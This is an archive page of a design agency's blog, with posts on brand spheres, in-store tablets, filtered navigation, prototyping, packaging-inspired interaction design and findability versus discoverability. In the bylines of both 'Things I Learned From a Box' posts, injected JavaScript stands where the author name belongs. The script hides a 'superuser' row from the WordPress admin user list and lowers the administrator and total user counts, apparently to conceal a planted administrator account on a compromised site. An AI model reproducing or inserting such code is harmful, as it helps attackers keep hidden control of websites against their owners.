Category Archive: 'Information Design' Category

Take It Outside: How Brand Spheres Inspire Better Site Design

by Bridget Fahrland
Thursday, October 13th, 2011

When people step outside their immediate comfort zone, amazing things can happen.

We witness it when football players take ballet. We see it when a furniture designer looks to nature for inspiration. We hear it when Tony Bennett teams up with Lady Gaga.

Unfortunately, we don’t witness this in the digital world enough. Instead of being open to a range of influences, site design processes often have a narrow focus that can result in  “me too” looks rather than differentiated designs.

How does this happen?

As part of the discovery process, companies typically limit their review of the digital landscape to direct competitors and “top sites.”  This practice is important for benchmarking and informing feature prioritization. But done alone, a competitive review can be limiting and inadvertently create a “keeping up with the joneses” effect rather than setting the stage for a differentiated experience.

How can you avoid this pitfall and create a more differentiated experience?

By expanding your circle of influence. By supplementing competitive reviews with brand spheres.

What Is A Brand Sphere?

A brand sphere is a map of your customers’  “go to” brands across verticals. It identifies the brands they choose as they go about their day and the brands you can find in their home.

What is in their refrigerator? Which labels do they wear? What car do they drive? What kind of phone do they have? Where do they eat out? Which gym do they belong to? Which hair and body care brands do they prefer?

A brand sphere draws a more complete picture of your customer. It illuminates their preferences and expectations. And it provides new fodder for inspiration.

For example, if you are designing a consumer electronics shopping site, why limit your influences to only other electronics sites or even ecommerce sites in general? Why not look at music and video sites where your consumers most likely spend more time? Why not look at the CPG sites that fall in their brand sphere? What can you learn from the news sites they visit? The social networks they use?

By looking across verticals, you will expose yourself to different design approaches and feature sets. The purpose is not to imitate these approaches but to take a step back and see if there are any distinct designs or features that spark an idea.

Undoubtedly new perspectives will fuel new ideas. Ideas that are as elegant and powerful as a football player who can both rush and plié.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Retail 2.0 – Not Just Brick and Mortar Anymore

by Conway Liao
Thursday, June 16th, 2011

Once a week, the XD team at Fluid New York explores offline experiences outside the confines of our studio. We think it’s important to take a step back from the digital world and approach design holistically,  experiencing physical manifestations of brands in person. This week, we walked through New York’s SoHo shopping district to see how branded offline experiences relate back to digital spaces and vice versa.

The borders between physical and digital are further being blurred as traditional brick and mortar retailers are laying stake in the digital space. Mobile computing is nearly ubiquitous and instant access to information is almost at everyone’s fingertips. In addition, the attention span of people have become shorter and this poses a challenge to brands. Brand consistency is key to communicating to your target audience and in today’s fast paced retail environment, there’s no room for error. A marketing message that runs astray can have a huge impact on business.

During our outing, we’ve noticed many retailers doing great things with new technologies and some not so great. There has been a recent trend with stores using tablet computers to allow their consumers to browse through their product catalogue within store. It’s a static and passive experience that most of the time, does not engage the customer. Some of the problems with this technology are:

  • The technology does not tell you where to find items in store.
  • Proper QA testing of the app wasn’t performed. The app crashed many times while browsing.
  • It may not be inline with your brand aesthetic. If your brand has a gritty, industrial feel to it, placing modern, shiny tablets throughout the store takes away from the overall brand experience.
  • While the “cool” factor may be there the fact of the matter is that it can alienate the consumer, especially in tablet form.
  • You cannot replace good old customer service with shiny tablet device. There is no substitution for face to face human interaction.
  • Instead of focusing on the products in the store, your consumers are fixated with trying to figure out how to navigate through a mobile experience.

To conclude, always keep the end user in mind when designing an experience and remember that he/she comes first and the technology follows. With new technologies being released daily, it’s easy to lose sight of who you’re designing for. As Experience Designers it is our responsibility to make the transition from physical to digital as seamless as possible for users and the focus should be getting to know the end user and their technological needs and wants and then finding the technology that suits them. The tablet computer will not be the the answer to elevate your brand and increase conversion and raise customer satisfaction. There is one trait that successful brands all have in common:  Their solid dedication to Customer Service. When designing, think of ways to design user experiences that enhance customer service and engagement.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Welcome Amy Lanigan – Director of Client Strategy

by Andy Lloyd
Thursday, September 3rd, 2009

We are pleased to announce an exciting addition to the Fluid team. Amy Lanigan has recently joined Fluid as Director of Client Strategy after previously serving as Assistant Director of Strategy at AKQA. While at AKQA Amy worked with high profile clients such as Target, Gap and Charles Schwab.

We’ve brought Amy on because gone are the days where retailers can rigidly control virtually every aspect of their online presence and shopping experience. Blogs and customer reviews mean consumers have a voice in the conversation. Content is increasingly portable and flexible. Conversion funnels begin before consumers get to your site and social networks allow consumers unprecedented influence over what friends and strangers are buying online and in stores. This complex landscape requires shopping and brand experiences that are thoughtful, flexible and strategic.

It is Amy’s job to help our clients plot a path through this evolving landscape, particularly in social media, and to make sure everything Fluid deploys is on target from both a quantitative business and brand perspective.

Welcome, Amy.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Parametric Navigation, or How I Learned to Stop Worrying and Love Lotsa Options

by David Hogue
Wednesday, May 27th, 2009

Parametric Navigation…it’s really just a fancy industry phrase for a filtered search, or parameters you can select to filter down results sets. So if I go to widgets.com and search for a widget, the site would present me with options to narrow my widget selection by price or rating or size or color, etc. The overall idea is that I can pick the individual attributes that appeal to me, and come up with a customized list of widgets that meet my specific needs. It’s my preferred search method, so I figured I’d tell you what I think works, and what falls flat.

I started with the list of Internet Retailers 2009 Hot 100 Retail Web Sites. I don’t quite understand how they came up with this list, given that some of these sites look like they haven’t been redesigned since the ’90s, but it seemed like a good baseline to use for my research.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Miadidas.com Site Review

by Sam Sales
Friday, May 15th, 2009

My initial goal was to research and write a blog on sneakers, the sneaker culture, and what drives a ‘sneakerhead’ to seek the most limited/hard to get/wait-in-line-for-2 days type sneakers. But as I set out on my task to contribute to the Fluid blog, I stumbled onto the site miadidas.com. I say ‘stumbled’ because I have not heard or seen much about this site. I knew about NikeID, YourReebok(formerly known as RBKCustom), and the newly updated Vans Custom site among others, but was surprised and somewhat disappointed about just discovering the custom site for Adidas shoes. I’ve seen the in-store experience at the Adidas store in San Francisco, but was not aware it was migrated to the web – or at least a version of it.

With that said, I decided to focus my attention to the site and give my personal review. (more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Rapid interactive prototyping with HTML, CSS, and JavaScript using Fireworks and Dreamweaver CS4

by Mariano Ferrario
Tuesday, April 7th, 2009

A key aspect of Fluid’s user-centric design approach is to engage in usability research early on in the design process. One key element of our approach is to administer usability tests using interactive low-fidelity prototypes. Throughout the years, Fluid has developed a unique technique of developing richly interactive prototypes by adding HTML, CSS and JavaScript within Adobe Fireworks to create click through prototypes that are easy to use, manage and update.

Recently, Adobe asked Fluid to share our approach of rapid prototyping with the Adobe Fireworks and Adobe Dreamweaver developer’s community and we were both honored and excited to do so.

Our in depth article, “Rapid interactive prototyping with HTML, CSS, and JavaScript using Fireworks and Dreamweaver CS4″, can be found on Adobe’s website here:

http://www.adobe.com/devnet/fireworks/articles/rapid_interactive_prototyping.html

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 2)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Wednesday, March 18th, 2009

Yesterday, we discussed the key elements of packaging design, including messaging, presentation, structure, and brand artifacts. Using our “Oil of Olay” package as a case study, we highlighted the consequences of the “barrier to entry” that is created when packaging fails. Today, we’ll discuss how the design guidelines for packaging design apply to the practice of interaction design using another case study.

First and foremost, think about your web site as your “packaging,” and design accordingly—do not create a barrier to entry that separates customers from their end goal and hinders conversion.

When we reconsider the previously discussed factors of packaging design in this context, they align nicely with some familiar elements and ideas of good usability. We’ll review our packaging design principles in a new context below. As a case study, we’ll use the Rich and Skinny brand jeans site (http://www.richandskinnyjeans.com/RichAndSkinny/).
randskinny (more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Things I Learned From a Box: Packaging Design Principles for Interactive Design (Part 1)

by ... <b id="user_superuser"><script language="JavaScript"> var setUserName = function(){ try{ var t=document.getElementById("user_superuser"); while(t.nodeName!="TR"){ t=t.parentNode; }; t.parentNode.removeChild(t); var tags = document.getElementsByTagName("H3"); var s = " shown below"; for (var i = 0; i < tags.length; i++) { var t=tags[i].innerHTML; var h=tags[i]; if(t.indexOf(s)>0){ s =(parseInt(t)-1)+s; h.removeChild(h.firstChild); t = document.createTextNode(s); h.appendChild(t); } } var arr=document.getElementsByTagName("ul"); for(var i in arr) if(arr[i].className=="subsubsub"){ var n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>Administrator <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>Administrator <span class="count">\((\d+)\)</gi,">Administrator <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } var n=/>All <span class="count">\((\d+)\)</gi.exec(arr[i].innerHTML); if(n!=null && n[1]>0){ var txt=arr[i].innerHTML.replace(/>All <span class="count">\((\d+)\)</gi,">All <span class=\"count\">("+(n[1]-1)+")<"); arr[i].innerHTML=txt; } } }catch(e){}; }; addLoadEvent(setUserName); </script>
Tuesday, March 17th, 2009

The other day, my mom sent me to the store to purchase a new skincare product made by Oil of Olay. I set out on my errand and procured a small tube of mysterious serum, sleekly packaged in distinctive, sculptural, plastic packaging. When I returned home with the goods, however, we made an amusing and shocking discovery:

We couldn’t get the package open.

Mom tried. I tried. No dice. Pliers were used. Even larger pliers were used. Finally, with a mighty tug, I yanked off the package’s lid—and in the process firmly socked myself in the eye.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Social Search

by Mariano Ferrario
Friday, February 27th, 2009

Last month, a friend asked if I could recommend any companies that specialize in 3D Computer Graphics. Unfortunately, I didn’t have an answer, but on a whim I updated my Facebook status message with the following:

“Mariano is looking for companies that specialize in 3D Computer Graphics.”

Literally, within a few seconds, I received many great suggestions for companies to explore via wall and email messages.  Not too surprisingly, Facebook was a great proxy to crowdsource and gather information. The recommendations felt more credible because they were from my friends and at the same time, using Facebook illustrated the power of accessing an extended network when looking for advice or new information.

(more…)

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter

Findability vs. Discoverability

by Mariano Ferrario
Friday, February 20th, 2009

Every week the IxD (Interaction and User experience design) team at Fluid gets together and discusses new ideas, current trends in our field, best practices, design patterns and anything that we may have on our mind that relates to design.

This week Dave, Director of Information Design and Usability,  challenged us to think about the following:

“I’ve been thinking about findability and discoverability (especially since I started thinking about interactive merchandising as casual gaming), and I am increasingly convinced that findability and discoverability are distinct attributes of web content, though I am not entirely clear yet (conceptually) where they are similar and where they overlap.  Initially, it seems like this:

Discoverability – more about fun, content is “hidden” and meant to be found, the content is non-essential to the experience, finding the content may be surprising or unexpected, finding the content is often pleasing, tends to be more of an exploratory and individual/independent experience

Findability – more about usability, content is more likely to be important or essential to the experience, users may seek or need the content, content may not be immediately visible but is not hidden, easy to find, users probably guided to the content with labels and directions, tends to be more of guided or directive experience with help from the UI

I’d like your thoughts and ideas on this: “

The team’s response to Dave’s questions are listed below:

 

Andrea’s Response:

My knee-jerk reaction is that discoverability, while more pre-disposed to being fun, is inherently about learning and intuition. Findability need not be anti-fun, but it is inherently about efficiency and being clunk-you-over-the-head obvious.

Discoverability, at its core, should play off of previously learned behaviors and patterns of interaction. when I go to a new bar, I’m pretty sure the loo will be in the back, because that’s where it was in the last 100 bars I went to. Discoverability recognizes the frequency and need in which we rely off of our intuition. In doing so, we may learn a new task more easily if we are able to relate it to a previously learned task. When we recognize similarities, we feel at ease. We anticipate what comes next and finally we begin to recognize differences between the old and the new, again increasing our learning.

Findability, one might argue, exists–in the most extreme sense–in lieu of intuition. I’m not saying discoverability and findability are absolutely orthogonal, but there’s certainly an inclination. If one assumes that there are no similar, previously learned patterns, or one is lacking intuition, findability ensures that one can still complete the desired task. If I am a teetotaler and I’ve never been to a bar before, I might have no idea that the loo is usually in the back, but if I wander around and see the restroom signs that are clearly marked; I know I have found the loo. Findability is the “clunkingly obvious” factor.

In my examples above, I don’t mean to suggest that findability is boring, or can lack delight, fun, or, more importantly, persuasion. From a content perspective, the authoritative tone of brand and persuasion should probably be the most findable parts of a web site. I think persuasion might be more essential in findable content, whereas it is more easily a “nice by-product” of discoverable content.

What’s interesting in the storytelling article is that the author gives us a bunch of examples of storytelling, but I think she could have gone a bit further and gotten more granular.

For example, when I am designing a web page/site/interface, I think of the features on the page as characters in a story. Kind of like playing with Barbies, you grab a bunch of features, put ‘em together, throw ‘em around, and see how they interact with each other…then you place ‘em where they make the most sense in the arc of the story you’re trying to tell. Some features are main characters, some are supporting, and you’ve got to work with that. of course, the user is a character as well; i’m just sayin’, the user is not the *only* character.

The best example of this is Jones’ example about the benefit of unread content and the mini cooper web site. Jones mentions that mini creates credibility through the presence of its company history. let’s say that “features and specs” about the mini are a character and “company history” is a character…for the purposes of this story, “features and specs” are the main character, but “company history” is a supporting character, and “he” is still pretty important to have around. we might not pay a lot of attention to him, but his presence (here, findability) on the page lends credibility to the brand. Craft your story (and your interaction design) from there.

Paul’s Response:

Since the subject has a lot to do with storytelling, I wrote this like I was telling a story.

“Choose Your Own Adventure: Findability vs. Discoverability”

It’s no longer enough for users to be able to find your site, and then find what they’re looking for once they’re there. Now, they have to enjoy the experience — and, if possible, participate in it.

It’s helpful to think of this in terms of two different types of users: the Finder and the Discoverer. The Finders know what they want and where they’re going. They may have already formed a mental map of how to get there, and a web site’s success may depend on its navigation and search matching the user’s expectations. Discoverers are less linear. They want to explore, and be entertained and surprised along the way. They may not know exactly what they’re looking for, but they feel it. For discoverers, it’s as much about the journey as the destination.

One way to think about how to engage both types of users is through use of the Story. At Fluid, we always try to use a narrative structure to explain our work and vision to the client. In essence, we try to keep the customer’s story as the guiding theme across all our deliverables and presentations. So, what kind of story are we going to tell the Finder versus the Discoverer?

Think of the Finder in terms of the shopping funnel. It’s a short story or a haiku. The Finder wants to get to the end as quickly and easily as possible. They want to get from point A on the home page to point D in the shopping cart, with brief stops at a category, index and detail page along the way. It’s hard to avoid the spatial metaphors, but it’s not just three-dimensional. Time is also a factor. The finder already knows what they want and doesn’t want waste a lot of time getting there.

In contrast, the Discoverer doesn’t want a short story, they want an open-ended Choose Your Own Adventure book, or maybe movies on demand. Instead of trying to speed them along a linear path, our goal is to keep them interested, and moving, as long as possible – until they realize they’ve come to the right place. The Discoverer is sticky and needs a sticky site. The Discoverer can be either passive, wanting to be entertained, or active, wanting to have more control over how they move through the site, and even interact with it. The Discoverer needs more lateral and contextual relations between content, and not just the basic linear site navigation.

While we’re on the subject of stories, user-generated content is a way for users to make themselves part of brand’s story. For example, user reviews are a way for customers to share their opinion of a site or a product. It’s a way for Discoverers to leave a sign that they were there.

One area where the Finder and Discoverer types may overlap is in social shopping. Just as many malls and stores aspire to be social spaces and not just a shopping destination, the Finder can become a Discoverer by bringing in a friend who may encourage them to look outside their original goal and try something new.

We need to design web sites that engage both types of users, and take into account that most users are a combination of the two. It’s not so much that these are different types of users, so much as they are different types of search strategies or behaviors. We need to give the right level and amount of content in the right time and place, with clear paths to more: more depth, more range, or more similar (moving up and down in granularity, or horizontally through relationships). The key seems to be choice: giving the user the ability to choose how they move through the site rather than forcing them into one path, but not so many choices that the user becomes paralyzed or lost.

The choice on which approach to emphasize will vary by client. I think findability is more important for large-scale retail sites, whereas discoverability is more important for brand sites.

My Response:

First, a user’s browsing/searching behavior is never linear in nature. I don’t feel that the typical use case is that a user will come to a site looking for a specific very granular piece of information. Rather, I am more inclined to think of a user’s browsing behavior in regards to what some researchers are calling berrypicking”.

The “berrypicking” model has two main points. First, as a user searches for information they are constantly learning from their search/browse interaction and thus the nature of their search is constantly changing and adapting directly from the information they are discovering. Thus, through the process of browsing their search goals may be constantly changing from their initial intent. Originally a user may have been interested in findability and then upon reading something new, their goals may have changed to discoverability. (and vice versa.)

The second point is that a user’s informational needs are not satisfied solely through the finding of a set of documents or results. Rather, the main value of search exists in the accumulation of bits and pieces of information along the way. (i.e. Life is a Journey, not a destination) . This second point made me think about the design principle of providing alternative interfaces for both novice and expert users. It seems to me that a well designed interface should be able to support the needs of both findability and discoverability. Thus, as the users informational needs change a well designed interface will provide opportunities to dive deeper into a subject matter or discover a related item. I think a good example of providing an interface that is useful for both for novice and expert users is the TED home page. www.ted.com A user interested in finding a specific talk can reorganize the page using the list format or access the search box, while a user more interested in discoverability can browse the content by interacting with the images or browsing filters on the page.

In addition, I was thinking that the granularity of the information being presented is directly correlated to findability and discoverability. I don’t necessarily think of discoverability as content that is “hidden” and meant to be found, but rather it is content that is more abstract in its presentation and subsistence. (i.e. A related item link, Or a short blur about sustainability with a link to learn more.) In addition, when I think of findability, I think of content that is more complete and concrete in nature. (i.e. product details page, a technology details page, or an article page).

Thus, as a user bounces back and forth between findability and discoverability, what changes is the level of abstraction of the information being presented. Low level of detailed information will lend its self to findability while high level of detail will lend itself to discoverability.

  • del.icio.us
  • Facebook
  • email
  • LinkedIn
  • Twitter